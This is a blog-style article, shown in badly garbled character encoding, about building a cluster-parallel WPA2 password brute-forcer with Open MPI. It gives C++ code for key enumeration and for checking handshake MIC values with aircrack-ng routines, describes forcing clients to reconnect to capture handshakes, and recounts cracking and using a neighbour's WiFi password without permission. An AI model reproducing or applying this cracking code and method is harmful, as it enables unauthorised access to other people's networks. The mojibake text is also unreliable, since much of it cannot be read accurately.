è«æå·çæç¹ã§ã®ç 究åéã®1ã€ã¯ãã³ã³ãã¥ãŒãã£ã³ã°ã¯ã©ã¹ã¿ãŒäžã®ç¶æ
空éã§ã®æ€çŽ¢ã®äžŠååã§ããã ã³ã³ãã¥ãŒãã£ã³ã°ã¯ã©ã¹ã¿ãŒã«ã¢ã¯ã»ã¹ã§ããŸããããã¯ã©ã¹ã¿ãŒïŒãŸãã¯HPC-High Performance ComputingïŒã®ããã°ã©ãã³ã°ãã©ã¯ãã£ã¹ã¯ãããŸããã§ããã ãã®ãããæŠéããã·ã§ã³ã«é²ãåã«ãç°¡åãªããšãç·Žç¿ãããã£ãã®ã§ãã ããããç§ã¯å®éã®å®çšçãªåé¡ã®ãªãæœè±¡çãªãããŒã¯ãŒã«ãã®ãã¡ã³ã§ã¯ãªãã®ã§ããã®ãããªã¿ã¹ã¯ã¯ããã«èŠã€ãããŸããã

培åºçãªæ€çŽ¢ãããã¹ã¯ãŒããéžæããæãå¹çã®äœãæ¹æ³ã§ããããšã¯èª°ããç¥ã£ãŠããŸãã ãã ããã¹ãŒããŒã³ã³ãã¥ãŒã¿ãŒã®ç»å Žã«ãããååãšããŠãœãŒãã¯ãªãŒããŒããããªãã§äžŠè¡åŠçãããããããã®ããã»ã¹ã倧å¹
ã«é«éåããããšãå¯èœã«ãªããŸããã ãããã£ãŠãçè«çã«ã¯ãç·åœ¢ä¿æ°ãæã€ããã»ã¹ã¯ã¯ã©ã¹ã¿ãŒäžã§å éã§ããŸãã 100ã³ã¢ã®å Žå-ããã»ã¹ã1000 * kåé«éåããŸãïŒ0.0 <k <= 1.0ïŒã ããã¯å®éã«ã¯ããã§ããïŒ
ãããã£ãŠããã¬ãŒãã³ã°ã®ç·Žç¿ãšããŠãã¿ã¹ã¯ã¯ããã確èªããããšã§ããã å®éã®ã¿ã¹ã¯ã¯ãã³ã³ãã¥ãŒãã£ã³ã°ã¯ã©ã¹ã¿ãŒäžã®WPA2ã®ãã¹ã¯ãŒãã®åæã®ç·šæã§ããã ãããã£ãŠããã®èšäºã§ã¯ã䜿çšããæ¹æ³è«ãå®éšã®çµæã説æãããã®ããã«æžããããœãŒã¹ã³ãŒããã¬ã€ã¢ãŠãããŸãã
ãã®æ²æšãªã«ãŒã¿ãŒã®ãã¹ã¯ãŒããèŠã€ããããã«ã誰ãå®éã«å·šå€§ãªã¯ã©ã¹ã¿ãŒãé転ããã«ãŒã¿ãŒã®æ°çŸåã®ã³ã¹ããšã€ã³ã¿ãŒãããã®å¹Žéãµãã¹ã¯ãªãã·ã§ã³æéã«çžåœããé»åãæ¶è²»ããªãããã解決ãããã¿ã¹ã¯ã®å®éçãªå©çã¯ãŒãã«ãªãåŸåãããããšãç解ããå¿
èŠããããŸãã ããããããã«ç®ãåããŠã¹ãŒããŒã³ã³ãã¥ãŒã¿ãŒã®è©äŸ¡ãèŠããšãäžäœã¯ã©ã¹ã¿ãŒã«ã¯æ倧600äžåã®ã³ã¢ãå«ãŸããŠããããšãããããŸãã ããã¯ãã·ã³ã°ã«ã³ã¢ãã·ã³ã§ãã¹ã¯ãŒãã10幎ééžæãããå Žåãç空äžã®ç圢銬ã®å Žåããã®ãããªã¯ã©ã¹ã¿ãŒã¯10 365 24 60 60/6000000 = 53ç§ã§ãããèšç®ããããšãæå³ããŸãã
WPA2èªèšŒã®ä»çµã¿
ãããã¯ãŒã¯ã®åºå€§ãã«ãã®äž»é¡ã«é¢ããååãªãªãœãŒã¹ãããã®ã§ãéåžžã«ç°¡åã«èª¬æããŸãã ã¢ã¯ã»ã¹ãã€ã³ããšã¯ã©ã€ã¢ã³ãããã€ã¹ãè¿ãã«ãããšããŸãã ã¯ã©ã€ã¢ã³ããæ¥ç¶ã確ç«ããå Žåãäžé£ã®ãã±ãã亀æãéå§ãããã®éã«ã¢ã¯ã»ã¹ãã€ã³ãã«ãã¹ã¯ãŒããäžãããã€ã³ãã¯ã¢ã¯ã»ã¹ãèš±å¯ãããã©ããã決å®ããŸãã ãããããåæãããå Žåãæ¥ç¶ã¯ç¢ºç«ããããšèŠãªãããŸãã
æ»æè
ãèªèšŒãã¹ã¯ãŒããååŸããã«ã¯ãã¢ã¯ã»ã¹ãã€ã³ããšã¯ã©ã€ã¢ã³ãéã®ã¡ãã»ãŒãžäº€æãå®å
šã«èãåããç¹å®ã®ããã±ãŒãžã®ç¹å®ã®ãã£ãŒã«ãããããã·ã¥ãååŸããå¿
èŠããããŸãïŒãããããã³ãã·ã§ã€ã¯ïŒã ã¯ã©ã€ã¢ã³ãããã¹ã¯ãŒããå ±åããã®ã¯ããã®ããã±ãŒãžå
ã§ãã
ããããæ¿èªããã»ã¹ããã£ããããæ¹æ³ã¯ïŒ è¿é£ã®WiFiãåæããŠãããšä»®å®ããå Žåãé£äººãé»è©±ã§åºãŠæ»ã£ãŠãããŸã§åŸ
ã€ãã匷å¶çã«åæããå¿
èŠããããŸãã ãããŠããã®ãããªæ©äŒããããŸãã ãããè¡ãã«ã¯ã空æ°ãžã®æ¥ç¶ãåæããèŠæ±ãéä¿¡ããŸããããã€ã¹ã¯æçµçã«å¿çããåæ¥ç¶ããŸãã ãŠãŒã¶ãŒã®å Žåããã®ããã»ã¹ã¯é衚瀺ã«ãªããæ¿èªããã»ã¹ãåæ¢ããŸãã
ããŒã«
ããã±ãŒãžèªäœã¯ãå°çšã®Kali Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã«å«ãŸãããã©ã€ããŒãšå¿
èŠãªãã¹ãŠã®ããŒã«ã®ãç¹å¥ãªãWiFiãã€ã³ãã§ãã£ããã§ããŸãã ebayãŸãã¯aliexpressã§ã¯ãæ°çŸã®é©åãªãã€ã³ããèŠã€ããããšãã§ããŸããäºåã«OSã®Webãµã€ãã§äºææ§ã確èªããå¿
èŠããããŸãïŒäºææ§ã¯ããã€ã³ãã®åºã«ãªã£ãŠããããããšç¢ºèªããå¿
èŠããããŸãïŒã
ãã ãããã®äœæ¥ã§æãèå³æ·±ãã®ã¯ããã³ãã·ã§ã€ã¯ããã±ãŒãžãšãã¹ã¯ãŒãéžæãåŠçããããã®ããŒã«ã§ãã æãæåã§é«åºŠãªããŒã«ã¯aircrack-ng㧠ãããã«ã¯ãªãŒãã³ãœãŒã¹ã³ãŒãããããŸãã ãŸã å¿
èŠã§ãããããã¯åŸã§ãã
ãã ãããããã¯ãã¹ãŠããŒã«ã«ããã»ããµãŸãã¯ãããªã«ãŒãã䜿çšããããã«èšèšãããŠããŸãã ã¹ãŒããŒã³ã³ãã¥ãŒã¿ãŒã§å®è¡ããããã®ãã®ãããªããŒã«ã¯èŠã€ãããŸããã§ãããã€ãŸããèªè»¢è»ãçºæãããèªåã§äœæãããšãã§ãã
ã¢ã«ãã¡ãããæ€çŽ¢
äœãã䞊ååããåã«ãã»ãã³ãã£ãã¯ããŒããã€ãŸããã«ãŒããã©ãŒã¹ã¡ã«ããºã ãäœæããå¿
èŠããããŸãã ãããè¡ãããã«ããã¢ã«ãã¡ããããã®æŠå¿µãå°å
¥ããããã«åºã¥ããŠæ€çŽ¢ãå®è¡ãããŸãã ã¢ã«ãã¡ãããã¯ããã¹ã¯ãŒããæ§æã§ãããã¹ãŠã®æåã®éå埩ã»ããã§ãã ãããã£ãŠãã¢ã«ãã¡ãããã«Nåã®æåãããå Žåããã¹ã¯ãŒãã¯Nçªç®ã®æ°åã·ã¹ãã ã§æ°åãšããŠè¡šãããšãã§ããŸããåæ°åã¯åäžã®ã·ãªã¢ã«çªå·ãæã€æåã«å¯Ÿå¿ããŸãã
: abcdefgh (8 , ) 00000 => aaaaa 01070 => abaha 11136 => bbbdg
ãããã£ãŠãkey_managerã¯ã©ã¹ãäœæããŸãããã®ã¯ã©ã¹ã¯æååã¢ã«ãã¡ãããã§åæåãããŸãã
class key_manager { using key_t = std::string; using internal_key_t = numeric_key_t; key_manager(const key_t & _alphabet);
å
éšè¡šçŸïŒæ°å€åœ¢åŒïŒããæåå圢åŒã«éæ¹åã«å€æããããã®ã¡ãœãããå¿
èŠã«ãªããŸãã ããšãã°ãæ€çŽ¢ãç¶ããŠããçŽãå¿
èŠãããå Žåãªã©ããŒãã§ã¯ãªãäœããã®ãã¹ã¯ãŒãã§éå§ããå¿
èŠãããå Žåã¯ãéæ¹åã«å€æããå¿
èŠããããŸãã
ããã«ãæ°å€èªäœã¯ãããããå
éšè¡šçŸãšåŒã°ããç¹å¥ãªã¯ã©ã¹ã«ä¿åãããŸãã èªã¿ãããã倱ãããã¯ãããŸããããããã£ãŠãåèŠçŽ ããæ°åãã«å¯Ÿå¿ãããã¯ã¿ãŒåœ¢åŒã§äœæããŸãã
struct numeric_key_t { ... std::vector<uint8_t> data; };
é åºèå¥åã¯æŽæ°ã«ãªããŸãã128ãããã®ç¬Šå·ãªãæŽæ°ãäŸã«åããŸãã
using key_id_t = __uint128_t;
ãã¡ãããéåžžã«ã¹ããŒããªæ¹æ³ã§ãããè¡ãå Žåã¯ãç¬èªã®big_integerã¯ã©ã¹ãäœæããå¿
èŠããããŸãããç§ã®å®éšã®äžç°ãšããŠããã¹ãŠã®ãã¹ã¯ãŒãã¯128ãããæŽæ°ã«åãŸãã®ã§ã決ããŠå¿
èŠãšãããªããã®ã«æéã浪費ããŸããã
æ€çŽ¢ãšã³ãžã³ã®ã¢ãŒããã¯ãã£
æ€çŽ¢ãšã³ãžã³ã®ã¿ã¹ã¯ã¯ãããŒã®ç¯å²ããœãŒãããæ£ããããŒãèŠã€ãã£ããã©ããã確èªããèŠã€ãã£ãå Žåã¯èŠã€ãã£ãããŒãè¿ãããšã§ãã ãããããšã³ãžã³ã¯ãã¹ã¯ãŒããéžæããçç±ãæ°ã«ããŸãã-WiFiãŸãã¯md5ã®å Žåããã³ãã¬ãŒãå
ã«å®è£
ã®è©³çŽ°ãé衚瀺ã«ããŸãã
template<typename C> class brute_forcer : public key_manager { bool operator()(unsigned key_length, uint_t first, uint_t last, uint_t & correctKeyId) const; }
ãã®ã¡ãœããå
ã§ãæåããæåŸãŸã§çŽç·çã«é²ãã«ãŒããäœæããŸããé©åãªããŒãããå Žåãtrueãè¿ããèŠã€ãã£ãèå¥åãcorrectKeyIdã«æžã蟌ã¿ãŸãã
using checker_t = C; ... private: checker_t checker; ... if(checker(first, str_key, correctVal, correctKeyId)) return true;
ãããã£ãŠããã¹ã¯ãŒãæšæž¬ãäœã®ããã«ããã®ããæ¢ã«ãç¥ã£ãŠãããã¯ã©ã¹ã®ããã«ãã€ã³ã¿ãŒãã§ãŒã¹ãã©ãããã¹ãããæããã«ãªããŸãã ç§ã®ããŒãžã§ã³ã§ã¯ãwpa2ã«åãæ¿ããåã«md5ã§ãã®ã¯ã©ã¹ããããã°ããããããªããžããªã§äž¡æ¹ã®ã¿ã¹ã¯ã®ã¯ã©ã¹ãèŠã€ããããšãã§ããŸãã 次ã«ããã§ãã«ãŒèªäœãå®è¡ããŸãããã
ãã¹ã¯ãŒãã確èª
md5ããã·ã¥ã®ãã¹ã¯ãŒãéžæã®ç°¡åãªããŒãžã§ã³ããå§ããŸãããã 察å¿ããã¯ã©ã¹ã¯å¯èœãªéãã·ã³ãã«ã§ããã§ãã¯ãå®éã«è¡ãããã¡ãœããã1ã€ã ãå¿
èŠã§ãã
struct md5_crypter{ using value_t = std::string; bool operator()(typename key_manager::key_id_t cur_id, const std::string & code, const std::string & correct_res, typename key_manager::key_id_t & correctId) const { bool res = (md5(code) == correct_res); if(res) correctId = cur_id; return res; } };
ãããè¡ãã«ã¯ãé¢æ°std :: string md5ïŒstd :: stringïŒã䜿çšããŸãããã®é¢æ°ã¯ãæå®ãããæååã«åºã¥ããŠãmd5ãè¿ããŸãã ãã¹ãŠãå¯èœãªéãåçŽãªã®ã§ãä»åºŠã¯aircrack-ngã®ãã©ã°ã¡ã³ããæ¥ç¶ããŸãã
ç匟ãã€ãªã
æåã®åé¡ã¯ããã³ãã·ã§ã€ã¯ããã±ãŒãžã§ãã¡ã€ã«ãååŸããããšã§ãã ããã§ã¯ãåãåã£ãæ¹æ³ãæ£ç¢ºã«èŠããã®ãé£ãããšæããŠããŸãããç®çã®ãã©ã°ã¡ã³ããä¿åããããã«airodumpãŸãã¯aircrackã«ããããåœãŠãŠããããã§ãã ãããŠããããããã¯å®æçãªæ段ã§è¡ãããã®ã§ãããã ãããã«ããããªããžããªã«ã¯ãã®ãããªããã±ãŒãžã®äŸãå«ãŸããŠããŸãã
äžèŠãªãã®ããã¹ãŠæšãŠãã®ã§ãäœæ¥ã«ã¯æ¬¡ã®æ§é ãå¿
èŠã§ãã
struct ap_data_t { char essid[36]; unsigned char bssid[6]; WPA_hdsk hs; };
察å¿ãããã¡ã€ã«ã®ãã¡ããã³ãã·ã§ã€ã¯ãã¡ã€ã«ã®ããã€ãã®ãã©ã°ã¡ã³ããèªã¿åããã®ãšèŠãªãããšãã§ãããã®ã¯ã©ãã§ããã
FILE * tmpFile = fopen(file_name.c_str(), "rb"); ap_data_t ap_data; fread(ap_data.essid, 36, 1, tmpFile); fread(ap_data.bssid, 6, 1, tmpFile); fread(&ap_data.hs, sizeof(struct WPA_hdsk), 1, tmpFile); fclose(tmpFile);
次ã«ãïŒwpa2_crypterã³ã³ã¹ãã©ã¯ã¿ãŒã§ïŒåãã¹ã¯ãŒãã®èšç®ãç¹°ãè¿ããªãããã«ããã®ããŒã¿ã®ååŠçãè¡ãå¿
èŠããããŸãããããã§ã¯å®éã«èããããšã¯ã§ãããåã«ç©ºçãã転éããŸãã æãèå³æ·±ãã®ã¯aircrack / sha1-sse2.hã§ãããã«ã¯äŸ¿å©ãªèšç®ãå®è¡ããé¢æ°calc_pmkãšcalc_4pmkããããŸãã
ããã«ãcalc_4pmkã¯calc_pmkã®ããŒãžã§ã³ã§ãããããã»ããµã«SSE2ãããå Žåã1ã€ã®ã¹ãããã§æ倧4ã€ã®ããŒãã«ãŠã³ãã§ããããã«å¿ããŠããã»ã¹ã4åå éããŸãã çŸåšãã»ãšãã©ãã¹ãŠã®ããã»ããµã«ãã®ãããªæ¡åŒµæ©èœãããããã䜿çšããå¿
èŠããããŸãããå®è£
ãå°ãè€éã«ãªããŸãã
ãããè¡ãã«ã¯ãwpa2_crypterã¯ã©ã¹ã«ãããã¡ãªã³ã°ãè¿œå ããŸã-brute_forcerã¯ãããã1ã€ã®ããŒãèŠæ±ãããããèšç®ã¯4åããšã«ã®ã¿å®è¡ãããŸãã ãŸããããŒã¿åŠçããžãã¯ã¯ãäœãå€æŽããããšãªãã空çããæ
éã«è»¢éãããŸãã ãã®çµæãæ€èšŒé¢æ°ã¯æ¬¡ã®ããã«ååŸãããŸãã
value_t operator()(typename key_manager::key_id_t cur_id, const std::string & code, bool , typename key_manager::key_id_t & correctId) const { cache[localId].key_id = cur_id; memcpy(cache[localId].key, code.data(), code.size()); ++localId; if(localId == 4) { // 4 // calc_4pmk((char*)cache[0].key, (char*)cache[1].key, (char*)cache[2].key, (char*)cache[3].key, (char*)apData.essid, cache[0].pmk, cache[1].pmk, cache[2].pmk, cache[3].pmk); for(unsigned j = 0; j < localId; ++j) { for (unsigned i = 0; i < 4; i++){ pke[99] = i; HMAC(EVP_sha1(), cache[j].pmk, 32, pke, 100, cache[j].ptk + i * 20, NULL); } HMAC(EVP_sha1(), cache[j].ptk, 16, apData.hs.eapol, apData.hs.eapol_size, cache[j].mic, NULL); if(memcmp(cache[j].mic, apData.hs.keymic, 16) == 0) { //, correctId = cur_id; return true; } } localId = 0; } return false; }
ç¹°ãè¿ããã4mã®ãã¹ãŠã®ãªã¯ãšã¹ãã«å¯ŸããŠãããŒã¯é©åã§ã¯ãªããšèšããŸãã 4mã§ãããŒãèŠã€ãã£ãå ŽåãtrueãšããŒèªäœã®äž¡æ¹ãè¿ããŸãã ãããã¡ã¯ã次ã®ã¿ã€ãã®4ã€ã®èŠçŽ ã®é
åã«èç©ãããŸãã
struct cache_t { mutable char key[128]; unsigned char pmk[128]; unsigned char ptk[80]; unsigned char mic[20]; typename key_manager::key_id_t key_id; };
å®éããã¹ã¿ãŒã¯æºåãã§ããŠããŸãã ããã䜿çšããããã«ã次ã®ã¢ã¯ã·ã§ã³ãå®è¡ããŸãã
// handshake- ap_data_t ap_data; // , wpa2_crypter crypter(ap_data); // brute_forcer<wpa2_crypter> bforcer(crypter, true, "abcdefg123455..."); // 1000 std::string correct_key; bforcer(8, 0, 1000, correct_key);
ãã ãã空çèªäœã¯1ã€ã®ã¹ã¬ããã§ã«ãŠã³ãã§ããŸãããããã¯å¿
èŠãããŸãããïŒ
䞊è¡æ§ã¢ãŒããã¯ãã£
ã¢ã¯ã»ã¹ããã¯ã©ã¹ã¿ãŒã«ã€ã³ã¹ããŒã«ããã䞊åã³ã³ãã¥ãŒãã£ã³ã°ãæŽçããããã®æ¢åã®ãã¬ãŒã ã¯ãŒã¯ãšãœãããŠã§ã¢ã調æ»ããåŸã Open MPIã«çŠç¹ãåãããããšã«ããŸããã 圌ãšã®ä»äºã¯æ¬¡ã®è¡ããå§ãŸããŸãã
// fork MPI::Init(); // int rank = MPI::COMM_WORLD.Get_rank(); int size = MPI::COMM_WORLD.Get_size(); // ... // MPI::Finalize();
InitïŒïŒåŒã³åºãã¯ããã»ã¹ãåé¢ããŸãããã®åŸãã©ã³ã¯ã¯èšç®æ©ã®ã·ãªã¢ã«çªå·ã«ãªãããµã€ãºã¯èšç®æ©ã®ç·æ°ã«ãªããŸãã ããã»ã¹ã¯ã¯ã©ã¹ã¿ãŒãæ§æããããŸããŸãªãã·ã³ã§å®è¡ã§ãããããå
±æã¡ã¢ãªãç°¡åã«å¿ããå¿
èŠããããŸããããã»ã¹éã®éä¿¡ã¯2ã€ã®æ©èœã䜿çšããŠå®è¡ãããŸãã
MPI :: COMM_WORLD.RecvïŒïŒres_taskãsizeofïŒres_taskïŒãMPI :: CHARãMPI_ANY_SOURCEã0ãã¹ããŒã¿ã¹ïŒ;
// MPI_Send( void* data, int count, MPI_Datatype datatype, int destination, int tag, MPI_Comm communicator) // MPI_Recv( void* data, int count, MPI_Datatype datatype, int source, int tag, MPI_Comm communicator, MPI_Status* status)
çžäºäœçšã®è©³çŽ°ã«ã€ããŠã¯ã ãã¡ããã芧ãã ãã ã ãããŠãä»åºŠã¯äžŠåæ€çŽ¢ãšã³ãžã³ã¢ãŒããã¯ãã£ãèãåºããŸãã
ã¿ã¹ã¯ã®è©³çŽ°ãèãããšã次ã®ã¢ãŒããã¯ãã£ãäœæãã䟡å€ããããŸãã ã¯ã©ã¹ã¿ãŒã«Nåã®ã³ã¢ãããå Žåãiçªç®ã®ãã¹ãŠã®ãã¥ãŒã¯ãªã¢ã¹ã¯ãçžäºäœçšããããšãªããèå¥åi + N * kãk = 0,1,2 ...ãæã€ããŒããã§ãã¯ããå¿
èŠããããŸãã ãã®åŸãããã©ãŒãã³ã¹ãæ倧ã«ãªããŸãã ããããåé ã§è¿°ã¹ãããã«ãäž»ãªã¿ã¹ã¯ã¯ãã¯ãããžãŒãç¿åŸããããšã§ãããã®ãããã³ã³ãã¥ãŒã¿ãŒéã®éä¿¡ãç¿åŸããå¿
èŠããããŸãã
ãããã£ãŠãããã»ã¹ã2ã€ã®ã¿ã€ãã«åå²ããå¥ã®ã¢ãŒããã¯ãã£ãéžæããŸãããããã§ã¯ãæãç解ãããããªãã·ã§ã³ã«ã€ããŠèª¬æããŸãããã®ãªãã·ã§ã³ã¯ããªããžããªã«å°ãè€éã§é«éã«å®è£
ãããŸãããããã§ãæéã®ãªãã·ã§ã³ãšã¯ã»ã©é ãã§ãã
ãããè¡ãããã«ãç§ãã¡ã¯åŸæ¥ãããã»ã¹ã2ã€ã®ã¿ã€ãã«åããŠããŸã-å¶åŸ¡ãšäœæ¥ã ãããŒãžã£ãŒã¯ã¿ã¹ã¯ãã¯ãŒã«ãŒã«éä¿¡ããå®éã«ã¯ãŒã«ãŒã¯ããã·ã¥ãã«ãŠã³ãããŸãã ç°¡åã«ããããã«ãããã»ã¹éã§PODæ§é äœã亀æããŸãã æŠç¥çã«ã¯ã次ã®å³ã®åœ¢ã§ããã»ã¹ãæ³åã§ããŸãã

ã³ã³ãããŒã©ãŒã¯ã©ã¹ãšãµãŒãã£ãŒã¯ã©ã¹ãããããäœæããããã»ã¹ãç¹å®ããåŸã«ã€ã³ã¹ã¿ã³ã¹åããŸãã
if(rank == 0) { controller ctrl(this, start_key); ctrl.run(size - 1); } else { searcher srch(this, rank); srch.run(); }
ãµãŒãã£ãŒãªããžã§ã¯ãã¯ããžã§ãã¡ãã»ãŒãžãåŸ
ã£ãŠåŠçããã¬ããŒãã¡ãã»ãŒãžãéãè¿ããŸãã ã³ã³ãããŒã©ãŒã¯ãã¿ã¹ã¯ã®åæ£ãšçµæã®æ€èšŒã®ã¿ãåŠçããŸãã çå£ã«ãã³ã³ãããŒã©ãŒã¯ããŠã³ã¿ã€ã äžã«èšç®ãè¡ãããšãã§ããŸããããã®äŸã§ã¯ããã®ã¢ãŒããã¯ãã£ãè€éã«ããŸããã
ããã«ãã¯ãŒã¯ãããŒãã¿ã¹ã¯ãã«ãŠã³ãããæ°ããã¿ã¹ã¯ãååŸã§ãããã¢ã€ãã«ç¶æ
ã«ãªã£ãŠããç¶æ³ãåé¿ããå¿
èŠããããŸãã ããã¯ããã¥ãŒã䜿çšããmutexã䜿çšããæãåçŽãªã±ãŒã¹ã§ãã©ã³ã¹ããŒãã¹ããªãŒã ãšã³ã³ãã¥ãŒãã£ã³ã°ã¹ããªãŒã ãåé¢ããããšã§å®çŸãããŸãããconditional_variableãé©åã«å®è¡ããå¿
èŠããããŸãã ãããã£ãŠãã³ã³ãããŒã©ãŒãšã¯ãŒã¯ãããŒéã®ããŒã¿äº€æã¯ãæŠç¥çã«æ¬¡ã®ããã«è¡šãããšãã§ããŸãã

ããã§åæã䜿çšããŠã³ãŒããã©ã°ã¡ã³ããåŒçšãã代ããã«ãèªåã®ãªããžããªãåç
§ããŸãã ãããŠæåŸã®éšåã§ããå®éšã«ç§»ããŸãã
å®éš
ããã¯èšäºã®æãæåŸ
ãããéšåã®ããã«æããŸããã解決ãããåé¡ã®åçŽãã®ããã«ãçµæã¯æåŸ
ããããã®ãšå®å
šã«äžèŽããŸãã
å®éšã®ããã«ããã³ãã·ã§ã€ã¯ããã±ãŒãžãåããŸãããããã¯ãç§ã®ãã€ã³ãããããããŠããã€ãã®é£äººãšäžç·ã«åããŸããã ã¡ãªã¿ã«ããã®ããã»ã¹ã¯ããŸãå¿«é©ã§æ±ºå®çã§ã¯ãªãã1æé以äžããããŸããã
ç§ã®ããã±ãŒãžã§ã¯ãéçºãããœãããŠã§ã¢ãæ£åžžã«åäœããããšã確信ããŠãããè¿é£ã®ãœãããŠã§ã¢ã§ã¯æ¢ã«å®éã®æ¡ä»¶ã§ãã®æè¡ãè©ŠããŸããã
ç¹å®ã®ãœãŒã¹ã§ã¯ãçŸåšã®é床ãã¹ãã£ã³ãããããŒã®æ°ãããã³çŸåšã®é·ãã®ããŒããã§ãã¯ããäºå®ã®æéã«é¢ãããããã°æ
å ±ãå®æçã«åºåããŸããã
ç§ãèªç±ã«äœ¿ããã®ã¯ãåèš128ã³ã¢ã®å°ããªã¹ãŒããŒã³ã³ãã¥ãŒã¿ãŒã§ããã ãã¡ãããSSEããããŸããããå®éšã®çŽåºŠã®ããã«ããããªãã«ããŸãã-é床ã¯4åé
ããªããŸããã
äœæ¥èªäœã®ãã€ããã¯ã¹ãéåžžã«äºæ³ãããŸã-çµ±èšãå éããŠåéããã®ã«æ°ç§ãããããã®åŸãšã³ãžã³ã¯å®å®ããæ€çŽ¢é床ã瀺ããŸãã ã³ã¢ã®æ°ã«å¿ããŠãé床ã®ã»ãŒç·åœ¢ã®å¢å ãéæãããŸãïŒããã¯æããã§ãïŒããåçŽãªã³ã³ãããŒã©ãŒã³ã¢ãšãããŒã®äžæ³šæãªåæãæããããŸã-æé·å®æ°ã¯0.8ã0.9ã®ç¯å²ã§å€æããŸããã
ããããæãèå³æ·±ãã®ã¯ãé£äººã®ããŒã§ãšã³ãžã³ãèµ·åãããšããç§ãåŸ
ã£ãŠããããšã§ãããã¹ãŠã®ã«ãŒãã«ããªãŒããŒã¯ããã¯ããæéãããåã«ããã¹ã¯ãŒãã¯ãã§ã«èŠã€ãããŸãã...ããã¯é£äººã®å®¶æã®èª°ãã®èªçæ¥ã§ãã äžæ¹ã§ãç§ã¯å€±æããŸãããä»æ¹ã§-ç§ã¯ãŸã å
ã®åé¡ã解決ããŸããã
é床ã®çµ¶å¯Ÿå€ãããããæå³ãããããŸããããªããªãã 䜿çšå¯èœãªãã·ã³ã§è©Šãããšãã§ããŸã-ãã¹ãŠã®ãœãŒã¹ã¯èšäºã®æåŸã«èšèŒãããŠããŸãã ãŸãã䞊åä¿æ°ãšæ©æ¢°ã®ç¹æ§ããããã°ãéæå¯èœãªé床ãæ£ç¢ºã«èšç®ã§ããŸãã
ãœãŒã¹ã³ãŒã
説æããå®è£
ã®ãœãŒã¹ã¯ãç§ã®githubãªããžããªã«ãããŸãã ã³ãŒãã¯å®å
šã«æ©èœããLinuxããã³Mac OSã§ãã«ããããŸããã ããã... ... 2幎以äžãçµéããŸãããåãOpen MPIã®APIãã©ãã»ã©å€ãã£ããã¯ããããŸããã
test /ãã©ã«ããŒã«ã¯ã䜿çšãããŠãã圢åŒçšã«ã³ã³ãã€ã«ããããã³ãã·ã§ã€ã¯ããã±ãŒãžã®äŸããããŸãã
ã³ãŒãèªäœã¯ããªãæ±ããŠããŸããã解決ãããåé¡ã®å®çšçãªäŸ¡å€ããªããããã³ãŒãã³ã°ãæå³ããããŸããã§ããã ãŸãããããžã§ã¯ãã¯ç¡æå³ã®ããã«éçºãããŸãããã誰ããã¢ã€ãã¢ãæ°ã«å
¥ã£ãå ŽåããŸãã¯åœŒãããã䜿çšã§ããçç±ãèŠãå Žå...ãããåããããã䜿çšããŸãã
ãŒã以å€ã®èŠçŽ ããéå§ããå Žåã¯ãéå§è¡ã«ãã³ãã·ã§ã€ã¯ãã¡ã€ã«ãšãªãã·ã§ã³ã§éå§ããŒã衚瀺ãããŸãã
brute_wpa2 k aaa123aaab ap_Dom.hshk
ãã©ã¡ãŒã¿è§£æèªäœã¯src / brute_wpa2.cppã«ãããŸããããã«ãããæ°å€ã§æåã®ããŒã®èå¥åãèšå®ããæ¹æ³ãããã³ãã£ã³ã¯ã®ãµã€ãºãèšå®ããæ¹æ³ãç解ã§ããŸãã
ãããã«
ãã®èšäºã§ã¯ãäŸãšããŠæãåçŽã§å®çšçãªåé¡ãšãã®ããªãåçŽãªè§£æ±ºçã䜿çšããŠã䞊åããã°ã©ãã³ã°ã«ã€ããŠå°ã説æããŸãã ç§ã¯ã¿ã¹ã¯ãå®äºããŸãã-䞊åããã°ã©ãã³ã°ã®ææ°æè¡ãç¿åŸããã ãã§ãªããè«æã§æŠéããã·ã§ã³ãå®è¡ããã¹ãã«ã身ã«ã€ããã ãã§ãªããé£äººã®WiFiãããã¹ã¯ãŒããååŸããŸããã 確ãã«ãç§ã¯äžåºŠã ãããã䜿çšããŸãã-æ£åœæ§ããã§ãã¯ããããã«ãããã¯ãŸã ããã£ãã§ãã
ããããææ°ã®ã€ãã³ãã«é¢é£ããŠè¡ãããäœæ¥ã®å®éçãªå©ç¹ã«æ»ã£ãŠããããã³ã€ã³ã®åšãã®èªå€§å®£äŒã«æ³šæããããšæããŸãã WPA2ããã¯ã®åºç€ã¯ããããã³ã€ã³ã®ãã€ãã³ã°ã®ããã«ãSHAããã·ã¥ã®èšç®ã§ããããšãèãããšããã®äœæ¥ã®éçºã«æ°ããæ¹åæ§ãéãããŸãã å¿
èŠãªããã·ã¥ã®ã¿ãã«ãŠã³ãã§ãããã€ãã³ã°çšã®ç¹å¥ãªæ©åšãéçºããããããWPA2ããããã³ã°ããããã®é©å¿æ§ãšé©çšæ§ã確èªããã®ã¯èå³æ·±ãããšã§ãã ãã¡ããããã®ãããªãããã¯ããã·ã¥ã®éžæã«ãããŠææ°ã®æ±çšããã»ããµãŒãããã¯ããã«å¹æçã§ãããããããããããã§èå³æ·±ãçµæãåŸãããšãã§ããŸãã